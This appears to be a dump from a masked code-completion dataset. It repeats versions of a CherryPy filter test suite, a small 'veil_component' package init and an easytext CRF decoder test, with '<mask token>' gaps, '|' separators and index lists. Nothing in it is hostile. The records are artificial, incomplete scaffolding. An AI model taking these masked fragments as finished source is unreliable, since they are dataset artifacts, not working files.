valerr = '\n raise ValueError()\nValueError'
self.getPage('/cpfilterlist/err')
self.assertErrorPage(500, pattern=valerr)
self.getPage('/cpfilterlist/ended/3')
self.assertBody('True')
self.getPage('/cpfilterlist/errinstream')
self.assertStatus('200 OK')
self.assertBody('Unrecoverable error in the server.')
self.getPage('/cpfilterlist/ended/5')
self.assertBody('True')
self.getPage('/cpfilterlist/restricted')
self.assertErrorPage(401)
def testGuaranteedFilters(self):
self.getPage('/cpfilterlist/err_in_onstart')
self.assertErrorPage(500)
self.assertInBody(
"AttributeError: 'Request' object has no attribute 'numerify_map'")
<mask token>
| <mask token>
class AccessFilter(BaseFilter):
def before_request_body(self):
if not cherrypy.config.get('access_filter.on', False):
return
if not getattr(cherrypy.request, 'login', None):
raise cherrypy.HTTPError(401)
def setup_server():
class Numerify(BaseFilter):
def on_start_resource(self):
m = cherrypy.config.get('numerify_filter.map', {})
cherrypy.request.numerify_map = m.items()
def before_finalize(self):
if not cherrypy.config.get('numerify_filter.on', False):
return
def number_it(body):
for chunk in body:
for k, v in cherrypy.request.numerify_map:
chunk = chunk.replace(k, v)
yield chunk
cherrypy.response.body = number_it(cherrypy.response.body)
class NadsatFilter:
def __init__(self):
self.counter = 0
self.ended = {}
def before_main(self):
cherrypy.request.counter = self.counter = self.counter + 1
self.ended[cherrypy.request.counter] = False
def before_finalize(self):
def nadsat_it_up(body):
for chunk in body:
chunk = chunk.replace('good', 'horrorshow')
chunk = chunk.replace('piece', 'lomtick')
yield chunk
cherrypy.response.body = nadsat_it_up(cherrypy.response.body)
def on_end_request(self):
cherrypy.response.body = 'razdrez'
self.ended[cherrypy.request.counter] = True
class Root:
def index(self):
return 'Howdy earth!'
index.exposed = True
cherrypy.root = Root()
class TestType(type):
"""Metaclass which automatically exposes all functions in each subclass,
and adds an instance of the subclass as an attribute of cherrypy.root.
"""
def __init__(cls, name, bases, dct):
type.__init__(name, bases, dct)
for value in dct.itervalues():
if isinstance(value, types.FunctionType):
value.exposed = True
setattr(cherrypy.root, name.lower(), cls())
class Test(object):
__metaclass__ = TestType
class CPFilterList(Test):
_cp_filters = [NadsatFilter()]
def index(self):
return 'A good piece of cherry pie'
def ended(self, id):
return repr(self._cp_filters[0].ended[int(id)])
def err(self):
raise ValueError()
def errinstream(self):
raise ValueError()
yield 'confidential'
def restricted(self):
return 'Welcome!'
def err_in_onstart(self):
return 'success!'
cherrypy.config.update({'global': {'server.input_filters': [
'cherrypy.test.test_custom_filters.AccessFilter'],
'server.log_to_screen': False, 'server.environment': 'production',
'server.show_tracebacks': True}, '/cpfilterlist': {
'numerify_filter.on': True, 'numerify_filter.map': {'pie':
'3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True,
'server.show_tracebacks': False}, '/cpfilterlist/errinstream': {
'stream_response': True}, '/cpfilterlist/err_in_onstart': {
'numerify_filter.map': 'pie->3.14159'}})
filters.input_filters.insert(0, Numerify)
filters.output_filters.insert(0, Numerify)
filters.init()
<mask token>
class FilterTests(helper.CPWebCase):
def testCPFilterList(self):
self.getPage('/cpfilterlist/')
self.assertBody('A horrorshow lomtick of cherry 3.14159')
self.getPage('/cpfilterlist/ended/1')
self.assertBody('True')
valerr = '\n raise ValueError()\nValueError'
self.getPage('/cpfilterlist/err')
self.assertErrorPage(500, pattern=valerr)
self.getPage('/cpfilterlist/ended/3')
self.assertBody('True')
self.getPage('/cpfilterlist/errinstream')
self.assertStatus('200 OK')
self.assertBody('Unrecoverable error in the server.')
self.getPage('/cpfilterlist/ended/5')
self.assertBody('True')
self.getPage('/cpfilterlist/restricted')
self.assertErrorPage(401)
def testGuaranteedFilters(self):
self.getPage('/cpfilterlist/err_in_onstart')
self.assertErrorPage(500)
self.assertInBody(
"AttributeError: 'Request' object has no attribute 'numerify_map'")
<mask token>
| <mask token>
test.prefer_parent_path()
<mask token>
class AccessFilter(BaseFilter):
def before_request_body(self):
if not cherrypy.config.get('access_filter.on', False):
return
if not getattr(cherrypy.request, 'login', None):
raise cherrypy.HTTPError(401)
def setup_server():
class Numerify(BaseFilter):
def on_start_resource(self):
m = cherrypy.config.get('numerify_filter.map', {})
cherrypy.request.numerify_map = m.items()
def before_finalize(self):
if not cherrypy.config.get('numerify_filter.on', False):
return
def number_it(body):
for chunk in body:
for k, v in cherrypy.request.numerify_map:
chunk = chunk.replace(k, v)
yield chunk
cherrypy.response.body = number_it(cherrypy.response.body)
class NadsatFilter:
def __init__(self):
self.counter = 0
self.ended = {}
def before_main(self):
cherrypy.request.counter = self.counter = self.counter + 1
self.ended[cherrypy.request.counter] = False
def before_finalize(self):
def nadsat_it_up(body):
for chunk in body:
chunk = chunk.replace('good', 'horrorshow')
chunk = chunk.replace('piece', 'lomtick')
yield chunk
cherrypy.response.body = nadsat_it_up(cherrypy.response.body)
def on_end_request(self):
cherrypy.response.body = 'razdrez'
self.ended[cherrypy.request.counter] = True
class Root:
def index(self):
return 'Howdy earth!'
index.exposed = True
cherrypy.root = Root()
class TestType(type):
"""Metaclass which automatically exposes all functions in each subclass,
and adds an instance of the subclass as an attribute of cherrypy.root.
"""
def __init__(cls, name, bases, dct):
type.__init__(name, bases, dct)
for value in dct.itervalues():
if isinstance(value, types.FunctionType):
value.exposed = True
setattr(cherrypy.root, name.lower(), cls())
class Test(object):
__metaclass__ = TestType
class CPFilterList(Test):
_cp_filters = [NadsatFilter()]
def index(self):
return 'A good piece of cherry pie'
def ended(self, id):
return repr(self._cp_filters[0].ended[int(id)])
def err(self):
raise ValueError()
def errinstream(self):
raise ValueError()
yield 'confidential'
def restricted(self):
return 'Welcome!'
def err_in_onstart(self):
return 'success!'
cherrypy.config.update({'global': {'server.input_filters': [
'cherrypy.test.test_custom_filters.AccessFilter'],
'server.log_to_screen': False, 'server.environment': 'production',
'server.show_tracebacks': True}, '/cpfilterlist': {
'numerify_filter.on': True, 'numerify_filter.map': {'pie':
'3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True,
'server.show_tracebacks': False}, '/cpfilterlist/errinstream': {
'stream_response': True}, '/cpfilterlist/err_in_onstart': {
'numerify_filter.map': 'pie->3.14159'}})
filters.input_filters.insert(0, Numerify)
filters.output_filters.insert(0, Numerify)
filters.init()
<mask token>
class FilterTests(helper.CPWebCase):
def testCPFilterList(self):
self.getPage('/cpfilterlist/')
self.assertBody('A horrorshow lomtick of cherry 3.14159')
self.getPage('/cpfilterlist/ended/1')
self.assertBody('True')
valerr = '\n raise ValueError()\nValueError'
self.getPage('/cpfilterlist/err')
self.assertErrorPage(500, pattern=valerr)
self.getPage('/cpfilterlist/ended/3')
self.assertBody('True')
self.getPage('/cpfilterlist/errinstream')
self.assertStatus('200 OK')
self.assertBody('Unrecoverable error in the server.')
self.getPage('/cpfilterlist/ended/5')
self.assertBody('True')
self.getPage('/cpfilterlist/restricted')
self.assertErrorPage(401)
def testGuaranteedFilters(self):
self.getPage('/cpfilterlist/err_in_onstart')
self.assertErrorPage(500)
self.assertInBody(
"AttributeError: 'Request' object has no attribute 'numerify_map'")
if __name__ == '__main__':
setup_server()
helper.testmain()
| <mask token>
import types
import test
test.prefer_parent_path()
import cherrypy
from cherrypy import filters
from cherrypy.filters.basefilter import BaseFilter
class AccessFilter(BaseFilter):
def before_request_body(self):
if not cherrypy.config.get('access_filter.on', False):
return
if not getattr(cherrypy.request, 'login', None):
raise cherrypy.HTTPError(401)
def setup_server():
class Numerify(BaseFilter):
def on_start_resource(self):
m = cherrypy.config.get('numerify_filter.map', {})
cherrypy.request.numerify_map = m.items()
def before_finalize(self):
if not cherrypy.config.get('numerify_filter.on', False):
return
def number_it(body):
for chunk in body:
for k, v in cherrypy.request.numerify_map:
chunk = chunk.replace(k, v)
yield chunk
cherrypy.response.body = number_it(cherrypy.response.body)
class NadsatFilter:
def __init__(self):
self.counter = 0
self.ended = {}
def before_main(self):
cherrypy.request.counter = self.counter = self.counter + 1
self.ended[cherrypy.request.counter] = False
def before_finalize(self):
def nadsat_it_up(body):
for chunk in body:
chunk = chunk.replace('good', 'horrorshow')
chunk = chunk.replace('piece', 'lomtick')
yield chunk
cherrypy.response.body = nadsat_it_up(cherrypy.response.body)
def on_end_request(self):
cherrypy.response.body = 'razdrez'
self.ended[cherrypy.request.counter] = True
class Root:
def index(self):
return 'Howdy earth!'
index.exposed = True
cherrypy.root = Root()
class TestType(type):
"""Metaclass which automatically exposes all functions in each subclass,
and adds an instance of the subclass as an attribute of cherrypy.root.
"""
def __init__(cls, name, bases, dct):
type.__init__(name, bases, dct)
for value in dct.itervalues():
if isinstance(value, types.FunctionType):
value.exposed = True
setattr(cherrypy.root, name.lower(), cls())
class Test(object):
__metaclass__ = TestType
class CPFilterList(Test):
_cp_filters = [NadsatFilter()]
def index(self):
return 'A good piece of cherry pie'
def ended(self, id):
return repr(self._cp_filters[0].ended[int(id)])
def err(self):
raise ValueError()
def errinstream(self):
raise ValueError()
yield 'confidential'
def restricted(self):
return 'Welcome!'
def err_in_onstart(self):
return 'success!'
cherrypy.config.update({'global': {'server.input_filters': [
'cherrypy.test.test_custom_filters.AccessFilter'],
'server.log_to_screen': False, 'server.environment': 'production',
'server.show_tracebacks': True}, '/cpfilterlist': {
'numerify_filter.on': True, 'numerify_filter.map': {'pie':
'3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True,
'server.show_tracebacks': False}, '/cpfilterlist/errinstream': {
'stream_response': True}, '/cpfilterlist/err_in_onstart': {
'numerify_filter.map': 'pie->3.14159'}})
filters.input_filters.insert(0, Numerify)
filters.output_filters.insert(0, Numerify)
filters.init()
import helper
class FilterTests(helper.CPWebCase):
def testCPFilterList(self):
self.getPage('/cpfilterlist/')
self.assertBody('A horrorshow lomtick of cherry 3.14159')
self.getPage('/cpfilterlist/ended/1')
self.assertBody('True')
valerr = '\n raise ValueError()\nValueError'
self.getPage('/cpfilterlist/err')
self.assertErrorPage(500, pattern=valerr)
self.getPage('/cpfilterlist/ended/3')
self.assertBody('True')
self.getPage('/cpfilterlist/errinstream')
self.assertStatus('200 OK')
self.assertBody('Unrecoverable error in the server.')
self.getPage('/cpfilterlist/ended/5')
self.assertBody('True')
self.getPage('/cpfilterlist/restricted')
self.assertErrorPage(401)
def testGuaranteedFilters(self):
self.getPage('/cpfilterlist/err_in_onstart')
self.assertErrorPage(500)
self.assertInBody(
"AttributeError: 'Request' object has no attribute 'numerify_map'")
if __name__ == '__main__':
setup_server()
helper.testmain()
| """Test the various means of instantiating and invoking filters."""
import types
import test
test.prefer_parent_path()
import cherrypy
from cherrypy import filters
from cherrypy.filters.basefilter import BaseFilter
class AccessFilter(BaseFilter):
def before_request_body(self):
if not cherrypy.config.get("access_filter.on", False):
return
if not getattr(cherrypy.request, "login", None):
raise cherrypy.HTTPError(401)
def setup_server():
class Numerify(BaseFilter):
def on_start_resource(self):
m = cherrypy.config.get("numerify_filter.map", {})
cherrypy.request.numerify_map = m.items()
def before_finalize(self):
if not cherrypy.config.get("numerify_filter.on", False):
return
def number_it(body):
for chunk in body:
for k, v in cherrypy.request.numerify_map:
chunk = chunk.replace(k, v)
yield chunk
cherrypy.response.body = number_it(cherrypy.response.body)
# It's not mandatory to inherit from BaseFilter.
class NadsatFilter:
def __init__(self):
self.counter = 0
self.ended = {}
def before_main(self):
cherrypy.request.counter = self.counter = self.counter + 1
self.ended[cherrypy.request.counter] = False
def before_finalize(self):
def nadsat_it_up(body):
for chunk in body:
chunk = chunk.replace("good", "horrorshow")
chunk = chunk.replace("piece", "lomtick")
yield chunk
cherrypy.response.body = nadsat_it_up(cherrypy.response.body)
def on_end_request(self):
# This runs after the request has been completely written out.
cherrypy.response.body = "razdrez"
self.ended[cherrypy.request.counter] = True
class Root:
def index(self):
return "Howdy earth!"
index.exposed = True
cherrypy.root = Root()
class TestType(type):
"""Metaclass which automatically exposes all functions in each subclass,
and adds an instance of the subclass as an attribute of cherrypy.root.
"""
def __init__(cls, name, bases, dct):
type.__init__(name, bases, dct)
for value in dct.itervalues():
if isinstance(value, types.FunctionType):
value.exposed = True
setattr(cherrypy.root, name.lower(), cls())
class Test(object):
__metaclass__ = TestType
class CPFilterList(Test):
# METHOD ONE:
# Use _cp_filters (old name: _cpFilterList)
_cp_filters = [NadsatFilter()]
def index(self):
return "A good piece of cherry pie"
def ended(self, id):
return repr(self._cp_filters[0].ended[int(id)])
def err(self):
raise ValueError()
def errinstream(self):
raise ValueError()
yield "confidential"
def restricted(self):
return "Welcome!"
def err_in_onstart(self):
return "success!"
cherrypy.config.update({
'global': {
# METHOD TWO:
# Declare a classname in server.input_filters.
'server.input_filters': ["cherrypy.test.test_custom_filters.AccessFilter"],
'server.log_to_screen': False,
'server.environment': 'production',
'server.show_tracebacks': True,
},
'/cpfilterlist': {
'numerify_filter.on': True,
'numerify_filter.map': {"pie": "3.14159"}
},
'/cpfilterlist/restricted': {
'access_filter.on': True,
'server.show_tracebacks': False,
},
'/cpfilterlist/errinstream': {
'stream_response': True,
},
'/cpfilterlist/err_in_onstart': {
# Because this isn't a dict, on_start_resource will error.
'numerify_filter.map': "pie->3.14159"
},
})
# METHOD THREE:
# Insert a class directly into the filters.output_filters chain.
# You can also insert a string, but we're effectively testing
# using-a-string via the config file.
filters.input_filters.insert(0, Numerify)
filters.output_filters.insert(0, Numerify)
# We have to call filters.init() here (if we want methods #2 and #3
# to work), because the test suite may already have run server.start()
# (which is where filters.init() is usually called).
filters.init()
# Client-side code #
import helper
class FilterTests(helper.CPWebCase):
def testCPFilterList(self):
self.getPage("/cpfilterlist/")
# If body is "razdrez", then on_end_request is being called too early.
self.assertBody("A horrorshow lomtick of cherry 3.14159")
# If this fails, then on_end_request isn't being called at all.
self.getPage("/cpfilterlist/ended/1")
self.assertBody("True")
valerr = '\n raise ValueError()\nValueError'
self.getPage("/cpfilterlist/err")
# If body is "razdrez", then on_end_request is being called too early.
self.assertErrorPage(500, pattern=valerr)
# If this fails, then on_end_request isn't being called at all.
self.getPage("/cpfilterlist/ended/3")
self.assertBody("True")
# If body is "razdrez", then on_end_request is being called too early.
self.getPage("/cpfilterlist/errinstream")
# Because this error is raised after the response body has
# started, the status should not change to an error status.
self.assertStatus("200 OK")
self.assertBody("Unrecoverable error in the server.")
# If this fails, then on_end_request isn't being called at all.
self.getPage("/cpfilterlist/ended/5")
self.assertBody("True")
# Test the config method.
self.getPage("/cpfilterlist/restricted")
self.assertErrorPage(401)
def testGuaranteedFilters(self):
# The on_start_resource and on_end_request filter methods are all
# guaranteed to run, even if there are failures in other on_start
# or on_end methods. This is NOT true of the other filter methods.
# Here, we have set up a failure in NumerifyFilter.on_start_resource,
# but because that failure is logged and passed over, the error
# page we obtain in the user agent should be from before_finalize.
self.getPage("/cpfilterlist/err_in_onstart")
self.assertErrorPage(500)
self.assertInBody("AttributeError: 'Request' object has no "
"attribute 'numerify_map'")
if __name__ == '__main__':
setup_server()
helper.testmain()
| [
3,
6,
7,
8,
9
] |
9,979 | acad268a228b544d60966a8767734cbf9c1237ac | <mask token>
| <mask token>
with veil_component.init_component(__name__):
from .material import list_category_materials
from .material import list_material_categories
from .material import list_issue_materials
from .material import list_issue_task_materials
from .material import get_material_image_url
__all__ = [list_category_materials.__name__, list_material_categories.
__name__, list_issue_materials.__name__, list_issue_task_materials.
__name__, get_material_image_url.__name__]
| import veil_component
with veil_component.init_component(__name__):
from .material import list_category_materials
from .material import list_material_categories
from .material import list_issue_materials
from .material import list_issue_task_materials
from .material import get_material_image_url
__all__ = [list_category_materials.__name__, list_material_categories.
__name__, list_issue_materials.__name__, list_issue_task_materials.
__name__, get_material_image_url.__name__]
| import veil_component
with veil_component.init_component(__name__):
from .material import list_category_materials
from .material import list_material_categories
from .material import list_issue_materials
from .material import list_issue_task_materials
from .material import get_material_image_url
__all__ = [
list_category_materials.__name__,
list_material_categories.__name__,
list_issue_materials.__name__,
list_issue_task_materials.__name__,
get_material_image_url.__name__,
]
| null | [
0,
1,
2,
3
] |
9,980 | f64138ee5a64f09deb72b47b86bd7795acddad4d | <mask token>
class CRFData:
"""
测试用的 crf 数据
"""
def __init__(self):
bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]
self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=
LabelVocabulary.PADDING)
self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,
0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3,
0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)
self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)
self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8,
0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4,
0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)
self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6
], dtype=torch.float)
self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4
], dtype=torch.float)
self.crf = ConditionalRandomField(5)
self.crf.transitions = torch.nn.Parameter(self.transitions)
self.crf.start_transitions = torch.nn.Parameter(self.
transitions_from_start)
self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)
constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3,
3), (3, 4), (4, 4), (4, 0)}
for i in range(5):
constraints.add((5, i))
constraints.add((i, 6))
constraint_crf = ConditionalRandomField(num_tags=5, constraints=
constraints)
constraint_crf.transitions = torch.nn.Parameter(self.transitions)
constraint_crf.start_transitions = torch.nn.Parameter(self.
transitions_from_start)
constraint_crf.end_transitions = torch.nn.Parameter(self.
transitions_to_end)
self.constraint_crf = constraint_crf
<mask token>
| <mask token>
class CRFData:
"""
测试用的 crf 数据
"""
def __init__(self):
bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]
self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=
LabelVocabulary.PADDING)
self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,
0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3,
0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)
self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)
self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8,
0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4,
0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)
self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6
], dtype=torch.float)
self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4
], dtype=torch.float)
self.crf = ConditionalRandomField(5)
self.crf.transitions = torch.nn.Parameter(self.transitions)
self.crf.start_transitions = torch.nn.Parameter(self.
transitions_from_start)
self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)
constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3,
3), (3, 4), (4, 4), (4, 0)}
for i in range(5):
constraints.add((5, i))
constraints.add((i, 6))
constraint_crf = ConditionalRandomField(num_tags=5, constraints=
constraints)
constraint_crf.transitions = torch.nn.Parameter(self.transitions)
constraint_crf.start_transitions = torch.nn.Parameter(self.
transitions_from_start)
constraint_crf.end_transitions = torch.nn.Parameter(self.
transitions_to_end)
self.constraint_crf = constraint_crf
@pytest.fixture(scope='class')
def crf_data():
"""
产生测试用的 crf data
:return:
"""
return CRFData()
def test_crf_label_index_decoder(crf_data):
"""
测试 crf label index decoder
:param crf_data: crf data
:return:
"""
mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long)
crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,
label_vocabulary=crf_data.label_vocabulary)
label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)
padding_index = crf_data.label_vocabulary.padding_index
expect = [[2, 4, 3], [4, 2, padding_index]]
ASSERT.assertListEqual(expect, label_indices.tolist())
<mask token>
| <mask token>
class CRFData:
"""
测试用的 crf 数据
"""
def __init__(self):
bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]
self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=
LabelVocabulary.PADDING)
self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,
0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3,
0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)
self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)
self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8,
0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4,
0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)
self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6
], dtype=torch.float)
self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4
], dtype=torch.float)
self.crf = ConditionalRandomField(5)
self.crf.transitions = torch.nn.Parameter(self.transitions)
self.crf.start_transitions = torch.nn.Parameter(self.
transitions_from_start)
self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)
constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3,
3), (3, 4), (4, 4), (4, 0)}
for i in range(5):
constraints.add((5, i))
constraints.add((i, 6))
constraint_crf = ConditionalRandomField(num_tags=5, constraints=
constraints)
constraint_crf.transitions = torch.nn.Parameter(self.transitions)
constraint_crf.start_transitions = torch.nn.Parameter(self.
transitions_from_start)
constraint_crf.end_transitions = torch.nn.Parameter(self.
transitions_to_end)
self.constraint_crf = constraint_crf
@pytest.fixture(scope='class')
def crf_data():
"""
产生测试用的 crf data
:return:
"""
return CRFData()
def test_crf_label_index_decoder(crf_data):
"""
测试 crf label index decoder
:param crf_data: crf data
:return:
"""
mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long)
crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,
label_vocabulary=crf_data.label_vocabulary)
label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)
padding_index = crf_data.label_vocabulary.padding_index
expect = [[2, 4, 3], [4, 2, padding_index]]
ASSERT.assertListEqual(expect, label_indices.tolist())
def test_crf_label_index_decoder_with_constraint(crf_data):
mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.uint8)
crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.
constraint_crf, label_vocabulary=crf_data.label_vocabulary)
label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)
padding_index = crf_data.label_vocabulary.padding_index
expect = [[2, 3, 3], [2, 3, padding_index]]
ASSERT.assertListEqual(expect, label_indices.tolist())
| <mask token>
import pytest
import torch
from easytext.tests import ASSERT
from easytext.data import LabelVocabulary
from easytext.modules import ConditionalRandomField
from easytext.label_decoder import CRFLabelIndexDecoder
class CRFData:
"""
测试用的 crf 数据
"""
def __init__(self):
bio_labels = [['O', 'I-X', 'B-X', 'I-Y', 'B-Y']]
self.label_vocabulary = LabelVocabulary(labels=bio_labels, padding=
LabelVocabulary.PADDING)
self.logits = torch.tensor([[[0, 0, 0.5, 0.5, 0.2], [0, 0, 0.3, 0.3,
0.1], [0, 0, 0.9, 10, 1]], [[0, 0, 0.2, 0.5, 0.2], [0, 0, 3,
0.3, 0.1], [0, 0, 0.9, 1, 1]]], dtype=torch.float)
self.tags = torch.tensor([[2, 3, 4], [3, 2, 2]], dtype=torch.long)
self.transitions = torch.tensor([[0.1, 0.2, 0.3, 0.4, 0.5], [0.8,
0.3, 0.1, 0.7, 0.9], [-0.3, 2.1, -5.6, 3.4, 4.0], [0.2, 0.4,
0.6, -0.3, -0.4], [1.0, 1.0, 1.0, 1.0, 1.0]], dtype=torch.float)
self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6
], dtype=torch.float)
self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4
], dtype=torch.float)
self.crf = ConditionalRandomField(5)
self.crf.transitions = torch.nn.Parameter(self.transitions)
self.crf.start_transitions = torch.nn.Parameter(self.
transitions_from_start)
self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)
constraints = {(0, 0), (0, 1), (1, 1), (1, 2), (2, 2), (2, 3), (3,
3), (3, 4), (4, 4), (4, 0)}
for i in range(5):
constraints.add((5, i))
constraints.add((i, 6))
constraint_crf = ConditionalRandomField(num_tags=5, constraints=
constraints)
constraint_crf.transitions = torch.nn.Parameter(self.transitions)
constraint_crf.start_transitions = torch.nn.Parameter(self.
transitions_from_start)
constraint_crf.end_transitions = torch.nn.Parameter(self.
transitions_to_end)
self.constraint_crf = constraint_crf
@pytest.fixture(scope='class')
def crf_data():
"""
产生测试用的 crf data
:return:
"""
return CRFData()
def test_crf_label_index_decoder(crf_data):
"""
测试 crf label index decoder
:param crf_data: crf data
:return:
"""
mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.long)
crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,
label_vocabulary=crf_data.label_vocabulary)
label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)
padding_index = crf_data.label_vocabulary.padding_index
expect = [[2, 4, 3], [4, 2, padding_index]]
ASSERT.assertListEqual(expect, label_indices.tolist())
def test_crf_label_index_decoder_with_constraint(crf_data):
mask = torch.tensor([[1, 1, 1], [1, 1, 0]], dtype=torch.uint8)
crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.
constraint_crf, label_vocabulary=crf_data.label_vocabulary)
label_indices = crf_label_index_decoder(logits=crf_data.logits, mask=mask)
padding_index = crf_data.label_vocabulary.padding_index
expect = [[2, 3, 3], [2, 3, padding_index]]
ASSERT.assertListEqual(expect, label_indices.tolist())
| #!/usr/bin/env python 3
# -*- coding: utf-8 -*-
#
# Copyright (c) 2020 PanXu, Inc. All Rights Reserved
#
"""
测试 label index decoder
Authors: PanXu
Date: 2020/07/05 15:10:00
"""
import pytest
import torch
from easytext.tests import ASSERT
from easytext.data import LabelVocabulary
from easytext.modules import ConditionalRandomField
from easytext.label_decoder import CRFLabelIndexDecoder
class CRFData:
"""
测试用的 crf 数据
"""
def __init__(self):
bio_labels = [["O", "I-X", "B-X", "I-Y", "B-Y"]]
self.label_vocabulary = LabelVocabulary(labels=bio_labels,
padding=LabelVocabulary.PADDING)
self.logits = torch.tensor([
[[0, 0, .5, .5, .2], [0, 0, .3, .3, .1], [0, 0, .9, 10, 1]],
[[0, 0, .2, .5, .2], [0, 0, 3, .3, .1], [0, 0, .9, 1, 1]],
], dtype=torch.float)
self.tags = torch.tensor([
[2, 3, 4],
[3, 2, 2]
], dtype=torch.long)
self.transitions = torch.tensor([
[0.1, 0.2, 0.3, 0.4, 0.5],
[0.8, 0.3, 0.1, 0.7, 0.9],
[-0.3, 2.1, -5.6, 3.4, 4.0],
[0.2, 0.4, 0.6, -0.3, -0.4],
[1.0, 1.0, 1.0, 1.0, 1.0]
], dtype=torch.float)
self.transitions_from_start = torch.tensor([0.1, 0.2, 0.3, 0.4, 0.6], dtype=torch.float)
self.transitions_to_end = torch.tensor([-0.1, -0.2, 0.3, -0.4, -0.4], dtype=torch.float)
# Use the CRF Module with fixed transitions to compute the log_likelihood
self.crf = ConditionalRandomField(5)
self.crf.transitions = torch.nn.Parameter(self.transitions)
self.crf.start_transitions = torch.nn.Parameter(self.transitions_from_start)
self.crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)
# constraint crf
constraints = {(0, 0), (0, 1),
(1, 1), (1, 2),
(2, 2), (2, 3),
(3, 3), (3, 4),
(4, 4), (4, 0)}
# Add the transitions to the end tag
# and from the start tag.
for i in range(5):
constraints.add((5, i))
constraints.add((i, 6))
constraint_crf = ConditionalRandomField(num_tags=5, constraints=constraints)
constraint_crf.transitions = torch.nn.Parameter(self.transitions)
constraint_crf.start_transitions = torch.nn.Parameter(self.transitions_from_start)
constraint_crf.end_transitions = torch.nn.Parameter(self.transitions_to_end)
self.constraint_crf = constraint_crf
@pytest.fixture(scope="class")
def crf_data():
"""
产生测试用的 crf data
:return:
"""
return CRFData()
def test_crf_label_index_decoder(crf_data):
"""
测试 crf label index decoder
:param crf_data: crf data
:return:
"""
mask = torch.tensor([
[1, 1, 1],
[1, 1, 0]
], dtype=torch.long)
crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.crf,
label_vocabulary=crf_data.label_vocabulary)
label_indices = crf_label_index_decoder(logits=crf_data.logits,
mask=mask)
padding_index = crf_data.label_vocabulary.padding_index
expect = [[2, 4, 3], [4, 2, padding_index]]
ASSERT.assertListEqual(expect, label_indices.tolist())
def test_crf_label_index_decoder_with_constraint(crf_data):
mask = torch.tensor([
[1, 1, 1],
[1, 1, 0]
], dtype=torch.uint8)
crf_label_index_decoder = CRFLabelIndexDecoder(crf=crf_data.constraint_crf,
label_vocabulary=crf_data.label_vocabulary)
label_indices = crf_label_index_decoder(logits=crf_data.logits,
mask=mask)
padding_index = crf_data.label_vocabulary.padding_index
expect = [[2, 3, 3], [2, 3, padding_index]]
ASSERT.assertListEqual(expect, label_indices.tolist())
| [
3,
5,
6,
7,
8
] |
